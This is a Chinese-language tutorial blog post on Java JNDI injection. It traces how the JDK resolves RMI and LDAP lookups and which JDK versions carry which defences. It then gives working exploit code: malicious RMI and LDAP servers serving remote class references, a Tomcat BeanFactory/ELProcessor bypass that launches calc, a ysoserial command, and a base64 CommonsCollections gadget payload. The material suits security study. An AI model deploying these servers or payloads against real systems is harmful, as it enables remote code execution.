JNDI概述
JNDI(Java Naming and Directory Interface,Java命名和目录接口),为开发人员查找和访问各种资源提供了统一的通用接口,用于访问各种命名和目录服务。
JNDI 主要支持的服务协议
- RMI(远程方法调用): 允许 Java 程序通过 JNDI 查找并调用远程对象。
- LDAP(轻量级目录访问协议): 用于访问和查询存储在 LDAP 目录中的信息,如用户和配置数据。
- CORBA(公共对象请求代理体系结构): 一个分布式对象系统的标准,可以通过 JNDI 查找和访问 CORBA 对象。
- DNS(域名系统): 用于解析域名到 IP 地址的映射。
Naming Service (命名服务)
简单来讲就是将名称绑定到对象,并通过名称查找对象。例如,RMI 将远程对象与名称绑定,客户端可以通过名称查找并调用远程对象。
这其中又有几个概念,了解有助于后续代码理解:
- Bindings:表示名称与对象的绑定关系。例如,DNS 中域名与 IP 地址的绑定,RMI 中远程对象与名称的绑定,文件系统中文件名与文件的绑定等。
- Context:上下文,是一组名称到对象的绑定关系的集合。我们可以在某个上下文中查找指定名称的对象。比如,文件系统中的一个目录就是一个上下文,其中的文件和子目录可以看作是子上下文。
- References:在一个实际的命名服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++ 中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd (file descriptor),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。
Directory Service (目录服务)
可以简单的理解是命名服务的扩展,不仅提供命名服务的功能,还可以存储关于对象的属性信息。
常见的目录服务有:
- LDAP(轻量级目录访问协议):可以存储用户信息、配置参数等
ObjectFactory
JNDI 中的一种机制,用于把Naming Service和Directory Service的数据转换为 Java 对象。比如,当 JNDI 查找某个对象时,可能会遇到存储在服务中的数据是某种格式(比如字符串、字节流等),而需要 ObjectFactory
来将其转换为 Java 对象或者基本数据类型。
通常,每个服务提供者(例如 RMI、LDAP)可能有多个 ObjectFactory
实现,它们负责将特定类型的对象数据转换为 Java 对象。
JNDI注入的问题就是出在可远程下载自定义的ObjectFactory类上。
小总结
一句话来讲,JNDI就是一组API接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索指定的对象,而该对象可能存储在RMI、LDAP、CORBA等等。
其中RMI在前面我们也研究了它的反序列化隐患,JNDI 中也原生支持 RMI 协议,因此 RMI 的反序列化隐患同样会在 JNDI 中存在。(这一部分不会在本文突出,有需求可以去看组长视频)
代码示例
下面是以RMI服务为例的一个JNDI的例子:
在JNDI中提供了绑定和查找的方法:
- bind:将名称绑定到对象中;
- lookup:通过名字检索执行的对象;
先定义一个Person类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import java.io.Serializable; import java.rmi.Remote;
public class Person implements Remote, Serializable { private static final long serialVersionUID = 1L; private String name; private String password;
public String getName() { return name; }
public String getPassword() { return password; }
public void setName(String name) { this.name = name; }
public void setPassword(String password) { this.password = password; }
public String toString() { return "name:" + name + " password:" + password; } }
|
Server类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| import javax.naming.Context; import javax.naming.InitialContext; import java.rmi.registry.LocateRegistry;
public class Server { public static void initPerson() throws Exception{ LocateRegistry.createRegistry(1099); System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");
InitialContext initialContext = new InitialContext();
Person p = new Person(); p.setName("Sp4rks"); p.setPassword("PASSWORD!");
initialContext.bind("person", p); }
public static void main(String[] args) throws Exception { initPerson(); synchronized (Server.class) { Server.class.wait(); } } }
|
Client类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import javax.naming.Context; import javax.naming.InitialContext;
public class Client { public static void findPerson() throws Exception{ InitialContext initialContext = new InitialContext();
Person person = (Person) initialContext.lookup("rmi://localhost:1099/person");
System.out.println(person.toString()); }
public static void main(String[] args) throws Exception { findPerson(); } }
|
可以发现与原生的RMI服务不同之处:
- 服务端:纯RMI实现中是调用java.rmi包内的bind()或rebind()方法来直接绑定RMI注册表端口的,而JNDI创建的RMI服务中多的部分就是需要设置
INITIAL_CONTEXT_FACTORY
和PROVIDER_URL
来指定InitialContext
的初始化Factory和Provider的URL地址,换句话说就是初始化配置JNDI设置时需要预先指定其上下文环境如指定为RMI服务,最后再调用javax.naming.InitialContext.bind()
来将指定对象绑定到RMI注册表中;
- 客户端:纯RMI实现中是调用java.rmi包内的lookup()方法来检索绑定在RMI注册表中的对象,而JNDI实现的RMI客户端查询是调用
javax.naming.InitialContext.lookup()
方法来检索的;
简单地说,纯RMI实现的方式主要是调用java.rmi这个包来实现绑定和检索的,而JNDI实现的RMI服务则是调用javax.naming这个包即应用命名服务来实现的。其中javax.naming.Context接口提供了抽象方法,对不同服务进行调用的时候,会去调用 xxxContext 这个类,比如调用 RMI 服务的时候就是调的 RegistryContext。
JNDI的底层实现
Context初始化(获取工厂类部分)
我们在初始化上下文打一个断点。

会走到javax.naming.InitialContext#init
,跟进init函数 ,调用了com.sun.naming.internal.ResourceManager#getInitialEnvironment
,这段其实还挺麻烦的,但是也不是特别重要,大概意思就是把我们写的System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
和System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");
读出来,变成一个hashtable赋值给myProps,然后myProps就有键值对了,我们着重看getDefaultInitCtx();

这里首先通过getInitialContextFactoryBuilder()
初始化了一个InitialContextFactoryBuilder
类。如果该类为空,则将className
设置为INITIAL_CONTEXT_FACTORY
属性。这个属性就是我们手动设置的RMI上下文工厂类com.sun.jndi.rmi.registry.RegistryContextFactory
。

这里通过loadClass()
来动态加载我们设置的工厂类并实例化。最终调用的其实是RegistryContextFactory#getInitialContext()
方法,通过我们的设置工厂类来初始化上下文Context。

Context初始化(获取服务交互所需资源部分)
现在JNDI知道了我们想要调用何种服务,那么它又是如何知道服务地址以及获取服务的各种资源的呢?接着我们跟到RegistryContextFactory#getInitialContext()
中,其中getInitCtxURL(var1)根据我们传入的Hashtable获取初始上下文的url

这里的var1
就是myProps也就是我们设置的两个环境变量,跟进URLToContext()
,接着在URLToContext()
方法中初始化了一个rmiURLContextFactory
类,并根据服务路径来获取实例。跟进getObjectInstance

这个类实现了ObjectFactory接口,它会根据不同的输入类型(null、String 或 String[])来创建不同的对象实例。简单来讲就是根据传入的参数创建并返回一个适当的对象实例,我们这里是String,跟进getUsingURL()

新建了一个rmiURLContext
,随后调用了他的lookup方法

rmiURLContext没有lookup方法,走到父类com.sun.jndi.toolkit.url.GenericURLContext

当registryContext调用lookup时候会新创建一个RegistryContext并返回, 创建的时候根据java的类加载,会调用代码块

所以在最终初始化的时候获取了一系列RMI通信过程中所需的资源,RegistryImpl_Stub
、host
、port
等信息。

JNDI在初始化上下文的时候获取了与服务交互所需的各种资源,所以下一步就是通过获取的资源和服务愉快地进行交互了。
JNDI协议动态转换
在编写服务端的代码时,我们手动设置了属性INITIAL_CONTEXT_FACTORY
和PROVIDER_URL
的值来对Context进行初始化。通过对Context的初始化,JNDI能够识别我们想调用何种服务,以及服务的路径。
但实际上,在 Context#lookup()
方法的参数中,用户可以指定自己的查找协议。JNDI会通过用户的输入来动态的识别用户要调用的服务以及路径。来看下面的例子

可以看到,我们并没有设置相应的环境变量来初始化Context,但是JNDI仍旧通过lookup()的参数识别出了我们要调用的服务以及路径,这就是JNDI的动态协议转换。
动态协议转换的底层实现
在lookup()
打个断点开始跟进

注意到其实我们不管调用的是lookup、bind或者是其他initalContext
中的方法,都会调用getURLOrDefaultInitCtx()
方法进行检查。

跟进getURLOrDefaultInitCtx()
方法,会通过getURLScheme()
方法来获取通信协议,比如这里获取到的是rmi
协议

接着跟据获取到的协议,通过NamingManager#getURLContext()
来调用getURLObject()
方法,看名字也知道这是获取RUL对象

最终在getURLObject()
方法中,根据defaultPkgPrefix
属性动态生成Factory
类

通过动态协议转换,我们可以仅通过一串特定字符串就可以指定JNDI调用何种服务,十分方便。但是方便是会付出一定代价的。对于一个系统来讲,往往越方便,就越不安全。
假如我们能够控制string
字段,那么就可以搭建恶意服务,并控制JNDI接口访问该恶意,于是将导致恶意的远程class文件加载,从而导致远程代码执行。这种攻击手法其实就是JNDI注入,它和RMI服务攻击手法中的”远程加载CodeBase”较为类似,都是通过一些远程通信来引入恶意的class文件,进而导致代码执行。 –Java安全学习——JNDI注入
Reference类
Reference
类表示对命名或目录服务之外的对象的引用。(类似于 RMI 中的 codebase
功能)
为了将 Object
对象存储在命名或目录服务中,Java 提供了Naming Reference(命名引用)功能。对象可以通过绑定 Reference
来存储在命名或目录服务下,如 RMI、LDAP 等。
在使用 Reference
时,我们可以直接将对象写入构造方法中,当该对象被调用时,相关的方法将被触发。
Reference
类的常用构造函数如下:
1 2 3 4
|
Reference(String className, String factory, String factoryLocation)
|
在 RMI 中,远程加载的对象需要继承 UnicastRemoteObject
类,所以,我们需要使用 ReferenceWrapper
类来将 Reference
类或其子类对象远程包装为 Remote
类,以便使其能够被远程访问。
JNDI注入
通过以上实例可以清晰的看到看到,如果lookup()函数的访问地址参数控制不当,则有可能导致加载远程恶意类。
JNDI接口可以调用多个含有远程功能的服务,所以我们的攻击方式也多种多样。但流程大同小异,如下图所示

JNDI注入版本号限制总结
要想成功利用JNDI注入漏洞,重要的前提就是当前Java环境的JDK版本,而JNDI注入中不同的攻击向量和利用方式所被限制的版本号都有点不一样。
这里将所有不同版本JDK的防御都列出来:
- JDK 6u45、7u21之后:
java.rmi.server.useCodebaseOnly
的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
- JDK 6u141、7u131、8u121之后:增加了
com.sun.jndi.rmi.object.trustURLCodebase
选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
- JDK 6u211、7u201、8u191、11.0.1之后:增加了
com.sun.jndi.ldap.object.trustURLCodebase
选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
由于JNDI
注入动态加载的原理是使用 Reference
引用 ObjectFactory
类。其内部机制通过 URLClassLoader
加载类文件,因此不受 java.rmi.server.useCodebaseOnly=false
属性的限制。但是,不可避免地会受到以下配置项的限制:
com.sun.jndi.rmi.object.trustURLCodebase(禁止 RMI 和 CORBA 协议使用远程 codebase)
、com.sun.jndi.ldap.object.trustURLCodebase(禁止 LDAP 协议使用远程 codebase)
JNDI-RMI利用方式
所以综上JNDI-RMI
注入方式有:
- codebase 利用:JDK 6u141、7u131、8u121之前,通过设置 codebase 属性,利用本地 Class Factory 作为 Reference Factory 来加载远程类文件。
我当前的JDK版本为8u65,符合codebase利用方式版本,服务端换为远程引用的写法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.Reference; import java.rmi.registry.LocateRegistry;
public class Server { public static void initPerson() throws Exception { LocateRegistry.createRegistry(1099); System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");
InitialContext initialContext = new InitialContext();
Person p = new Person(); p.setName("Sp4rks"); p.setPassword("PASSWORD!");
Reference refObj = new Reference("TestRef","TestRef", "http://localhost:8888/"); initialContext.bind("rmi://localhost:1099/person", refObj);
}
public static void main(String[] args) throws Exception { initPerson(); synchronized (Server.class) { Server.class.wait(); } } }
|
同时远程放了一个恶意的class文件,并开启了http服务


有些文章在写恶意类的时候自己加上了UnicastRemoteObject 实际上是不必要的,我们在服务端bind下一个断点,会走到com.sun.jndi.rmi.registry.RegistryContext#bind(javax.naming.Name, java.lang.Object)

其中会调用encodeObject()
方法把Reference对象包装成ReferenceWrapper对象返回。

客户端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import javax.naming.Context; import javax.naming.InitialContext;
public class Client { public static void findPerson() throws Exception{ InitialContext initialContext = new InitialContext();
Person person = (Person) initialContext.lookup("rmi://localhost:1099/person");
System.out.println(person.toString()); }
public static void main(String[] args) throws Exception { findPerson(); } }
|
利用成果

我们可以看一下流程,在客户端打上断点

又回到熟悉的getURLOrDefaultInitCtx

一路跟lookup,跟到com.sun.jndi.rmi.registry.RegistryContext#lookup(javax.naming.Name)
,发现这里decodeObject,因为刚刚服务端有一个encodeObject,跟进去

只要是继承了RemoteReference
类,就会调用getObjectInstance
方法继续往下处理

可以看到这里是从引用的变量中获取工厂,调用了getObjectFactoryFromReference
方法 ,继续跟进

这里就开始类加载了,首先会在本地加载,我的类是TestRef,这肯定是没有这个类的,然后利用codebase去找

跟进下发现最后会调用URLClasserloader
去远程加载,相当于就是会去在我们的路径下去找我们的恶意类

并且后面有实例化的点,所以只要一执行完这个代码就会弹计算器了

JNDI-LDAP利用方式
JNDI-LDAP
注入方式有:
- codebase 利用:JDK 6u211、7u201、8u191、JDK 11.0.1之前,通过 LDAP 协议加载远程类文件。
- serialize 利用(可以绕过高版本限制,放在后面详细写):序列化对象注入:通过将恶意序列化对象注入到 LDAP 服务器,当目标应用查询时会反序列化并执行恶意代码;
LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,它不是JAVA独有的,是一种通用的东西,运行在TCP/IP堆栈之上。我们可以尝试使用LDAP服务来存储Java对象,如果我们此时能够控制JNDI去访问存储在LDAP中的Java恶意对象,那么就有可能达到攻击的目的。
Java对象在LDAP目录中也有多种存储形式
- Java序列化
- JNDI Reference
- Marshalled对象
- Remote Location (已弃用)
LDAP可以为存储的Java对象指定多种属性:
- javaCodeBase
- objectClass
- javaFactory
- javaSerializedData Java 序列化数据
我当前的JDK版本为8u141,需要导入unboundid-ldapsdk.jar包伪造LDAP服务:
1 2 3 4 5
| <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>6.0.4</version> </dependency>
|
Ldap服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
| import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL;
public class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com"; private static final String DEFAULT_URL = "http://127.0.0.1:8888/#TestRef"; private static final int DEFAULT_PORT = 1234;
public static void main(String[] args) { String url = DEFAULT_URL; int port = DEFAULT_PORT;
try { InMemoryDirectoryServerConfig config = createDirectoryServerConfig(LDAP_BASE, port); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch (Exception e) { System.err.println("Failed to start LDAP server: " + e.getMessage()); e.printStackTrace(); } }
private static InMemoryDirectoryServerConfig createDirectoryServerConfig(String ldapBase, int port) throws Exception { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(ldapBase); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault() )); return config; }
private static class OperationInterceptor extends InMemoryOperationInterceptor { private final URL codebase;
public OperationInterceptor(URL cb) { this.codebase = cb; }
@Override public void processSearchResult(InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry entry = new Entry(base); try { sendResult(result, base, entry); } catch (Exception e) { System.err.println("Failed to send search result: " + e.getMessage()); e.printStackTrace(); } }
private void sendResult(InMemoryInterceptedSearchResult result, String base, Entry entry) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
entry.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if (refPos > 0) { cbstring = cbstring.substring(0, refPos); } entry.addAttribute("javaCodeBase", cbstring); entry.addAttribute("objectClass", "javaNamingReference"); entry.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(entry); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
|
远程恶意class文件

客户端
1 2 3 4 5 6 7 8 9 10
| import javax.naming.InitialContext; import javax.naming.NamingException;
public class JndiLdapClient { public static void main(String[] args) throws NamingException { InitialContext initialContext = new InitialContext(); Person person = (Person) initialContext.lookup("ldap://localhost:1234/TestRef"); System.out.println(person); } }
|
利用成果

一样的在客户端lookup方法打断点,路上很多简单赋值我们不看,一路直接跟lookup
方法最后调用到c_lookup
方法中,在这个方法底下会去调用decodeObject
方法将我们传入的ldap对象

跟进decodeObject
方法 ,发现会根据LDAP
查询的结果来进行不同方法的调用,因为LDAP
中会有能够存储很多值比如序列化,引用类 等 ,而我们传入的肯定是引用类于是就走到了引用类的判断方法中

这个方法其实大致了解下即可,就是个去解析我们的Reference
引用对象的
我们直接看将返回的接口做了什么即可,最后在\rt.jar!\com\sun\jndi\ldap\LdapCtx.java
将返回结果传入了DirectoryManager.getObjectInstance
这个方法

根据refinfo去找那个引用对象,后面代码就是跟RMI一模一样了都是去本地找类找不到用URLClassLoader
去远程加载类了

绕过高版本JDK(8u191+)限制
8u191之后,利用codebase加载ref的方法就失效了,trustURLcodebase默认为false

根据这个我们发现,代码修复的是远程加载,但是本地加载并没有什么限制
所以现在公开常用的方法是:
- 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令
- LDAP可以存储对象的信息,利用LDAP返回一个恶意的序列化对象,JNDI中依然会对该对象进行反序列化操作,利用反序列化Gadget完成攻击
当然这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。
利用本地恶意Class作为Reference Factory
这里我使用的JDK版本为JDK231,同时需要加上这两个依赖
1 2 3 4 5 6 7 8 9 10 11 12
| <dependencies> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.71</version> </dependency> <dependency> <groupId>org.glassfish</groupId> <artifactId>javax.el</artifactId> <version>3.0.0</version> </dependency> </dependencies>
|
接着上面的代码调试,我们发现获取到ref后会调用getObjectFactoryFromReference()方法处理,factory不为空会调用getObjectInstance()方法

getObjectFactoryFromReference()这段代码的作用是查找并实例化我们引用对象的工厂,返回的是一个ObjectFactory

那么现在思路就有了,如果我们去找的是本地的工厂类,并且这此类实现了ObjectFactory
接口并且他还有getObjectInstance
方法,而getObjectInstance
这个方法还有危险的操作,那么就可以进行一个利用了。
反正最终的结果肯定是找到了

通过观察这类我们发现,该类的getObjectInstance()
函数中通过反射的方式实例化Reference所指向的任意Bean Class,这个Bean Class的类名、属性、属性值,全都来自于Reference
对象,是可控的,并且会对所有的Setter方法反射调用赋值。

Server
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class BypassJndiRMIServer { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd', '/c', 'calc']).start()\")")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Object", referenceWrapper); } }
|
Client
1 2 3 4 5 6
| public class Client { public static void main(String[] args) throws NamingException { InitialContext initialContext = new InitialContext(); initialContext.lookup("rmi://localhost:1099/Object"); } }
|
利用LDAP返回序列化数据,触发本地Gadget
LDAP 服务端除了支持 JNDI Reference 这种利用方式外,还支持直接返回一个序列化的对象。如果 Java 对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject()
方法就会对这个字段的内容进行反序列化。此时,如果服务端 ClassPath 中存在反序列化咯多功能利用 Gadget 如 CommonsCollections 库,那么就可以结合该 Gadget 实现反序列化漏洞攻击。
1 2 3 4 5
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
使用ysoserial生成序列化字符串
1
| java -jar ysoserial-all.jar CommonsCollections6 'calc' | base64
|
创建一个恶意的LDAP服务器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import java.util.Base64;
public class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com"; private static final String DEFAULT_URL = "http://127.0.0.1:8888/#TestRef"; private static final int DEFAULT_PORT = 6666;
public static void main(String[] args) { String url = DEFAULT_URL; int port = DEFAULT_PORT;
try { InMemoryDirectoryServerConfig config = createDirectoryServerConfig(LDAP_BASE, port); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch (Exception e) { System.err.println("Failed to start LDAP server: " + e.getMessage()); e.printStackTrace(); } }
private static InMemoryDirectoryServerConfig createDirectoryServerConfig(String ldapBase, int port) throws Exception { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(ldapBase); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault() )); return config; }
private static class OperationInterceptor extends InMemoryOperationInterceptor { private final URL codebase;
public OperationInterceptor(URL cb) { this.codebase = cb; }
@Override public void processSearchResult(InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry entry = new Entry(base); try { sendResult(result, base, entry); } catch (Exception e) { System.err.println("Failed to send search result: " + e.getMessage()); e.printStackTrace(); } }
private void sendResult(InMemoryInterceptedSearchResult result, String base, Entry entry) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
entry.addAttribute("javaClassName", "Exploit"); entry.addAttribute("javaSerializedData",Base64.getDecoder().decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
result.sendSearchEntry(entry); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
|
Client
1 2 3 4 5 6
| public class Client { public static void main(String[] args) throws NamingException { InitialContext initialContext = new InitialContext(); initialContext.lookup("ldap://localhost:6666/Object"); } }
|
同样的先从url加载对象

这里肯定为false

随后会走到反序列化的逻辑

最终导致反序列化攻击。
后续
浅蓝师傅又总结了一些特殊情况下的利用方法探索高版本 JDK 下 JNDI 漏洞的利用方法,写的很清楚,这里就不展开了。
参考文章
浅析JNDI注入
浅析高低版JDK下的JNDI注入及绕过
Java安全学习——JNDI注入
JNDI注入分析
Java反序列化之JNDI学习
JAVA Documentation
如何绕过高版本 JDK 的限制进行 JNDI 注入利用
Java安全 - 记JDK8u191后JNDI绕过原理
JAVA 协议安全笔记-JNDI篇
从文档开始的jndi注入之路-1
从文档开始的jndi注入之路-2 jndi+ldap绕过
从文档开始的jndi注入之路-3 高版本绕过之三打jndi